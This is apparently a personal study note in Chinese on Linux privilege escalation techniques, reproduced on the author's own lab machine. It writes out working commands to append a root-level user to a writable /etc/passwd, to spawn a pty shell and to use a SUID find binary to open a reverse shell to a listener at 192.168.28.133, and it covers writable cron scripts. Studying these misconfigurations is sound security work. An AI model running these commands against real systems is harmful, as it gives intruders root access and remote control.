写到最前面
linux提权方式有很多,这里从易到难在自己电脑做个笔记,根据其他师傅的笔记在自己电脑上面复现一下。
提权之明文密码:
基础知识:
etc/passwd 储存了用户,全用户可读,root 可写。
etc/shadow 存储密码的 hash,仅 root 可读写。
这里我使用的是Centons:
查看一下etc/passwd里面存储的用户账号密码信息:
passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(这样非 root 就看不到了)。而 shadow 里面最重要的就是密码的 hash
接下来试着访问一下etc/shadow:
检查一下shadow的权限:
可以看到shadow是没有任何人可以查看修改执行的
passwd文件Root可读写,其他均为可读
不知道ls -l命令的看这里:
用ls -l命令查看某一个目录会得到一个7个字段的列表
文件属性字段总共有10个字母组成;第一个字符代表文件的类型。
字母“-”表示该文件是一个普通文件
剩下的九个字母表示权限:分别是文件拥有者的权限,中间三个表示文件所属组拥有的权限,最后三个表示其他用户拥有的权限
正常情况下,我们是无法通过明文密码拿到root密码,但是在非正常情况下,例如passwd具有可写权限的时候,我们可以添加一个Root用户。
首先以 Root权限登录,修改我们的etc/passwd的权限为777(不思考直接777就完事),搭配好环境
以用户身份登录一下:
现在passwd具有可写权限
那么有一个思路:既然PASSWD里面存放着用户的信息,那么我们手动添加一个进去不久好了。
既然要添加,那么就一定要知道格式:
补基础了:
用户名:代表用户账号的字符串。通常长度不超过8个字符,并且由大小写字母和/或数字组成。登录名中不能有冒号(😃,因为冒号在这里是分隔符。为了兼容起见,登录名中最好不要包含点字符(.),并且不使用连字符(-)和加号(+)打头。
口令:一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但是由于/etc/passwd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”。
用户标识号:是一个整数,系统内部用它来标识用户。一般情况下它与用户名是一一对应的。如果几个用户名对应的用户标识号是一样的,系统内部将把它们视为同一个用户,但是它们可以有不同的口令、不同的主目录以及不同的登录Shell等。通常用户标识号的取值范围是0~65535。0是超级用户root的标识号,1~99由系统保留,作为管理账号,普通用户的标识号从100开始。在Linux系统中,这个界限是500。
组标识号:字段记录的是用户所属的用户组。它对应着/etc/group文件中的一条记录。
注释性描述:字段记录着用户的一些个人情况,例如用户的真实姓名、电话、地址等,这个字段并没有什么实际的用途。在不同的Linux系统中,这个字段的格式并没有统一。在许多Linux系统中,这个字段存放的是一段任意的注释性描述文字,用做finger命令的输出。
主目录:也就是用户的起始工作目录,它是用户在登录到系统之后所处的目录。在大多数系统中,各用户的主目录都被组织在同一个特定的目录下,而用户主目录的名称就是该用户的登录名。
各用户对自己的主目录有读、写、执行(搜索)权限,其他用户对此目录的访问权限则根据具体情况设置。用户登录后,要启动一个进程,负责将用户的操作传给内核,这个进程是用户登录到系统后运行的命令解释器或某个特定的程序,即Shell。Shell是用户与Linux系统之间的接口。Linux的Shell有许多种,每种都有不同的特点。
命令解释器:它表示(由用户)执行命令并显示结果的默认shell的完整路径。常用的有sh、ash、csh、ksh、tcsh、bash、zsh等。
加密方法:
#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123
#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。
mkpasswd -m SHA-512 pass
#利用python中的crypt库生成
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
#利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("pass123", "abc")'
#php语言
php -r "print(crypt('aarti','123') . " ");"
前面的是密码,后面的不用管
这里我们采取perl+crypt的方法加密用户信息:
得到用户的密码:advwtv/9yU5yQ
接下来按照格式把信息添加到etc/passwd里面去:
echo "test:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd
账户:test
密码:password@123
查看一下是否写入:
成功写入并且具有root权限
最终成功以test账户获取到Root权限
提取到Root密码后续:
在实战中我们提取到了root密码后,肯定想要su,然后输入密码登录到管理员
但是有些文章里面说了,低权的用户连su root、sudo的资格都没有
原因:这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。
输入:
python -c 'import pty;pty.spawn("/bin/sh")'
成功登录root用户
这里很多操作个人还没在内网渗透实战中遇到,所以我会在后面几天搭建靶场,经过个人真实测试之后,陆陆续续规范文档的语言,和一些具体事项
提权之SUDO:
SUDO和SUID这两个个人感觉是很像的,都是因为命令具有ROOT权限导致权限的提升,然后进行一些ROOT操作
提权之SUID(find):
讲讲什么是suid:
SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文
件。例如,Linux ping命令通常需要root权限才能打开网络套接字。通过将ping程
序标记为SUID(所有者为root),只要低特权用户执行ping程序,便会以root特权
执行ping。
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位
上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户
特权。它可以是root用户,也可以只是另一个用户。如果在程序中设置了suid,该位
可以生成shell或以其他方式滥用,我们可以使用它来提升我们的特权。
首先查看当前有哪些具有suid权限:
find / -user root -perm -4000 -print 2>/dev/null
这里我们使用FIND命令进行提权,首先对FIND进行一个简单权限提升:
chmod u+s /usr/bin/find
可以看到目前FIND只要执行就会以ROOT身份执行
简单了解以下FIND命令:
官方用法:find path -option [ -print ] [ -exec -ok command ] {} \;
具体实例:# find / -type f -size 0 -exec ls -l {} \;
这里对比看一下是否是以ROOT权限运行:
用find命令反弹shell:
受害机:find pentestlab -exec bash -i >& /dev/tcp/192.168.28.133/2333 0>&1 \;
攻击机:nc -lvvp 2333
当然反弹shell只是拿到root权限的一种操作,拿到root权限后,扩大危害当然要利用组合拳,拿到root权限,我们的提权任务也就算完成了。
上面仅仅是讲述了FIND一种,还有以下几种,有兴趣的读者可以下去自己看看,原理都是一样的
Nmap
Vim
find
Bash
More
Less
Nano
cp
提权之计划任务:
这里先简单说一下:非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出,并且默认这些程序以 root 执行 ,那么我们可以列出/etc/内的计划任务,然后通过查看有没有定时脚本,并且普通用户具有可写权力,那么我们可以更改脚本内容然后连接一个rootshell
ls -l /etc/cron*
查看当前定时任务
[图片网上找的,我懒得配定时任务了]
如果能够找到普通用户并且可以修改脚本内容,那就直接回连shell就好啦,不讲啦不讲啦,这些粗心的配置基本上遇不到了
提权之dirtycow
写烦了 不想写了 脏牛提权很简单:由于linux不同版本内核的问题,导致可以通过执行完某exp就升级到root权限。网上很多不想写了,或者后面实战遇到了再过来补充
总结:
这几天学习了一下linux提权,总结一下:
除了内核提权这种不可规避的提权方式以外,其他提权都可以说是由于管理员操作不当,给予了某些文件或者命令或者定时任务了特定的权力,导致用户可以加以利用,以root权限去执行入侵者想要执行的命令